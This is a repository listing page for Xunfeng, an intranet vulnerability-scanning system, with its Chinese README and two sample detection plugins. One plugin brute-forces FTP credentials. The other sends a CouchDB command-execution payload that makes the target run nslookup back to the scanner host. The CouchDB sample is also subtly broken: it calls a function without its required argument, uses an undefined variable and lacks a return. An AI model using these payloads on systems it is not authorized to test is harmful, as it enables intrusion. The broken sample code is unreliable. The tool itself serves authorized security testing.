All Projects → ysrc → Xunfeng

ysrc / Xunfeng

Licence: gpl-3.0
巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。

Programming Languages

python
139335 projects - #7 most used programming language
Less
1899 projects
javascript
184084 projects - #8 most used programming language
HTML
75241 projects
shell
77523 projects
Dockerfile
14818 projects

Projects that are alternatives of or similar to Xunfeng

Securitymanageframwork
Security Manage Framwork is a security management platform for enterprise intranet, which includes asset management, vulnerability management, account management, knowledge base management, security scanning automation function modules, and can be used for internal security management. This platform is designed to help Party A with fewer security personnel, complicated business lines, difficult periodic inspection and low automation to better achieve internal safety management.
Stars: ✭ 378 (-87.93%)
Mutual labels:  pentesting, scanner, infosec, security-audit, vulnerability-scanners, exploits, vulnerability-detection, vulnerability-assessment
Sec Admin
分布式资产安全扫描核心管理系统(弱口令扫描,漏洞扫描)
Stars: ✭ 222 (-92.91%)
Mutual labels:  scanner, infosec, security-audit, vulnerability-scanners, exploits
Hellraiser
Vulnerability scanner using Nmap for scanning and correlating found CPEs with CVEs.
Stars: ✭ 413 (-86.81%)
Mutual labels:  scanner, security-audit, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Gourdscanv2
被动式漏洞扫描系统
Stars: ✭ 740 (-76.37%)
Mutual labels:  pentesting, scanner, infosec, security-audit
Vulscan
Advanced vulnerability scanning with Nmap NSE
Stars: ✭ 2,305 (-26.38%)
Mutual labels:  security-audit, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Vuls
Agent-less vulnerability scanner for Linux, FreeBSD, Container, WordPress, Programming language libraries, Network devices
Stars: ✭ 8,844 (+182.47%)
Mutual labels:  security-audit, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Lynis
Lynis - Security auditing tool for Linux, macOS, and UNIX-based systems. Assists with compliance testing (HIPAA/ISO27001/PCI DSS) and system hardening. Agentless, and installation optional.
Stars: ✭ 9,137 (+191.82%)
Mutual labels:  security-audit, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Purify
All-in-one tool for managing vulnerability reports from AppSec pipelines
Stars: ✭ 72 (-97.7%)
Mutual labels:  infosec, security-audit, vulnerability-scanners, vulnerability-assessment
Vailyn
A phased, evasive Path Traversal + LFI scanning & exploitation tool in Python
Stars: ✭ 103 (-96.71%)
Mutual labels:  pentesting, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Rapidscan
🆕 The Multi-Tool Web Vulnerability Scanner.
Stars: ✭ 775 (-75.25%)
Mutual labels:  scanner, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Openvas Scanner
Open Vulnerability Assessment Scanner - Scanner for Greenbone Vulnerability Management (GVM)
Stars: ✭ 1,056 (-66.27%)
Mutual labels:  scanner, vulnerability-scanners, vulnerability-detection, vulnerability-assessment
sec-scannode
SEC分布式资产扫描系统
Stars: ✭ 8 (-99.74%)
Mutual labels:  security-audit, scanner, infosec, vulnerability-scanners
Arissploit
Arissploit Framework is a simple framework designed to master penetration testing tools. Arissploit Framework offers simple structure, basic CLI, and useful features for learning and developing penetration testing tools.
Stars: ✭ 114 (-96.36%)
Mutual labels:  pentesting, vulnerability-scanners, exploits, vulnerability-detection
Faraday
Faraday introduces a new concept - IPE (Integrated Penetration-Test Environment) a multiuser Penetration test IDE. Designed for distributing, indexing, and analyzing the data generated during a security audit.
Stars: ✭ 3,198 (+2.14%)
Mutual labels:  pentesting, infosec, security-audit, vulnerability-scanners
Nerve
NERVE Continuous Vulnerability Scanner
Stars: ✭ 267 (-91.47%)
Mutual labels:  vulnerability-scanners, vulnerability-detection, vulnerability-assessment
Security Tools
Collection of small security tools, mostly in Bash and Python. CTFs, Bug Bounty and other stuff.
Stars: ✭ 509 (-83.74%)
Mutual labels:  pentesting, scanner, infosec
Dirsearch
Web path scanner
Stars: ✭ 7,246 (+131.43%)
Mutual labels:  pentesting, scanner, infosec
Dradis Ce
Dradis Framework: Colllaboration and reporting for IT Security teams
Stars: ✭ 443 (-85.85%)
Mutual labels:  pentesting, infosec, security-audit
Perun
Perun是一款主要适用于乙方安服、渗透测试人员和甲方RedTeam红队人员的网络资产漏洞扫描器/扫描框架
Stars: ✭ 773 (-75.31%)
Mutual labels:  pentesting, scanner, vulnerability-scanners
V3n0m Scanner
Popular Pentesting scanner in Python3.6 for SQLi/XSS/LFI/RFI and other Vulns
Stars: ✭ 847 (-72.95%)
Mutual labels:  pentesting, scanner, vulnerability-scanners

巡风 License


巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统,通过搜索功能可清晰的了解内部网络资产分布情况,并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。

本软件只做初步探测,无攻击性行为。请使用者遵守《中华人民共和国网络安全法》,勿将巡风用于非授权的测试,YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。

其主体分为两部分:网络资产识别引擎漏洞检测引擎

网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。

漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测,其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。

安装指南

Python 2.7 Mongodb 3.4.0

国内镜像 https://code.aliyun.com/ysrc/xunfeng.git

配置指南

  • 在配置-爬虫引擎-网络资产探测列表 设置内网IP段**(必须配置,否则无法正常使用,每个IP段最大限制为10个B段)**。
  • 在配置-爬虫引擎-资产探测周期 设置计划规则。
  • 可启用MASSCAN(探测范围为全端口)代替默认的端口探测脚本,需安装好MASSCAN后配置程序完整绝对路径,点击开启即可完成切换。  MASSCAN需chmod +x 给执行权限,并手动执行确保可正常运行后再开启。
  • 其他配置根据自身需要进行修改。

插件编写

漏洞插件支持2种类型,json标示与python脚本,可以通过官方推送渠道安装或者自行添加。

JSON标示符

Python脚本

插件标准非常简洁,只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。

# coding:utf-8

import ftplib

def get_plugin_info():  # 插件描述信息
    plugin_info = {
        "name": "FTP弱口令",
        "info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。",
        "level": "高危",
        "type": "弱口令",
        "author": "wolf@YSRC",
        "url": "",
        "keyword": "server:ftp",  # 推荐搜索关键字
    }
    return plugin_info

def check(ip, port, timeout): # 漏洞检测代码
    user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']
    for user in user_list:
        for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。
            pass_ = str(pass_.replace('{user}', user))
            try:
                ftp = ftplib.FTP()
                ftp.timeout = timeout
                ftp.connect(ip, port)
                ftp.login(user, pass_)
                if pass_ == '': pass_ = 'null'
                if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"
                return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。
            except:
                pass

此外系统内嵌了辅助验证功能:

DNS:触发,nslookup randomstr IP,验证, http://ip:8088/randomstr ,返回YES即存在。

HTTP:触发,http://ip:8088/add/randomstr ,验证, http://ip:8088/check/randomstr ,返回YES即存在。

使用例子:

import urllib2
import random
import socket

def get_plugin_info():  # 插件描述信息
    plugin_info = {
            "name": "CouchDB未授权访问",
            "info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。",
            "level": "高危",
            "type": "未授权访问",
            "author": "wolf@YSRC",
            "url": "",
            "keyword": "server:couchdb",  # 推荐搜索关键字
    }

def get_ver_ip(ip):
    csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    csock.connect((ip, 80))
    (addr, port) = csock.getsockname()
    csock.close()
    return addr

def random_str(len):
    str1=""
    for i in range(len):
        str1+=(random.choice("ABCDEFGH1234567890"))
    return str(str1)

def check(ip,port,timeout):
    rand_str = random_str(8)
    cmd = random_str(4)
    server_ip = get_ver_ip()
    req_list = [
        ["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],
        ["/vultest123",''],
        ["/vultest123/test",'{"_id":"safetest"}']
    ]
    for req_info in req_list:
        try:
            request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)
            request.get_method = lambda: 'PUT'
            urllib2.urlopen(request)
        except:
            pass
    try:
        req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))
        req_exec.add_header("Content-Type","application/json")
        urllib2.urlopen(req_exec)
    except:
        pass
    check = urllib2.urlopen("http://%s:8088/%s"%(server_ip,rand_str)).read()
    if 'YES' in check:
        return u"未授权访问"

流程演示视频

文件结构

│  config.py  # 配置文件
│  README.md  # 说明文档
│  run.bat  # Windows启动服务
│  run.sh    # Linux启动服务,重新启动前需把进程先结束掉
│
├─aider
│      aider.py  # 辅助验证脚本
│
├─db  # 初始数据库结构
│
├─masscan  # 内置编译好的Masscan程序(CentOS win64适用),需要chmod+x给执行权限(root),若无法使用请自行编译安装。
├─nascan
│  │  nascan.py # 网络资产信息抓取
│  │
│  ├─lib
│  │      common.py 其他方法
│  │      icmp.py  # ICMP发送类
│  │      log.py  # 日志输出
│  │      mongo.py  # 数据库连接
│  │      scan.py  # 扫描与识别
│  │      start.py  # 线程控制
│  │
│  └─plugin
│          masscan.py  # 调用Masscan脚本
│
├─views
│  │  web.py  # web启动
│  │  view.py  # web请求处理
│  │
│  ├─lib
│  │      Conn.py  # 数据库公共类
│  │      CreateExcel.py  # 表格处理
│  │      Login.py  # 权限验证
│  │      QueryLogic.py  # 查询语句解析
│  │
│  ├─static #静态资源目录
│  │
│  └─templates #模板文件目录
│
└─vulscan
    │  vulscan.py  # 漏洞检测进程
    │
    └─vuldb # 漏洞库目录

扫描下方二维码关注YSRC公众号,回复自己的微信号+巡风,会有人拉你进巡风的微信讨论群。

Note that the project description data, including the texts, logos, images, and/or trademarks, for each open source project belongs to its rightful owner. If you wish to add or remove any projects, please contact us at [email protected].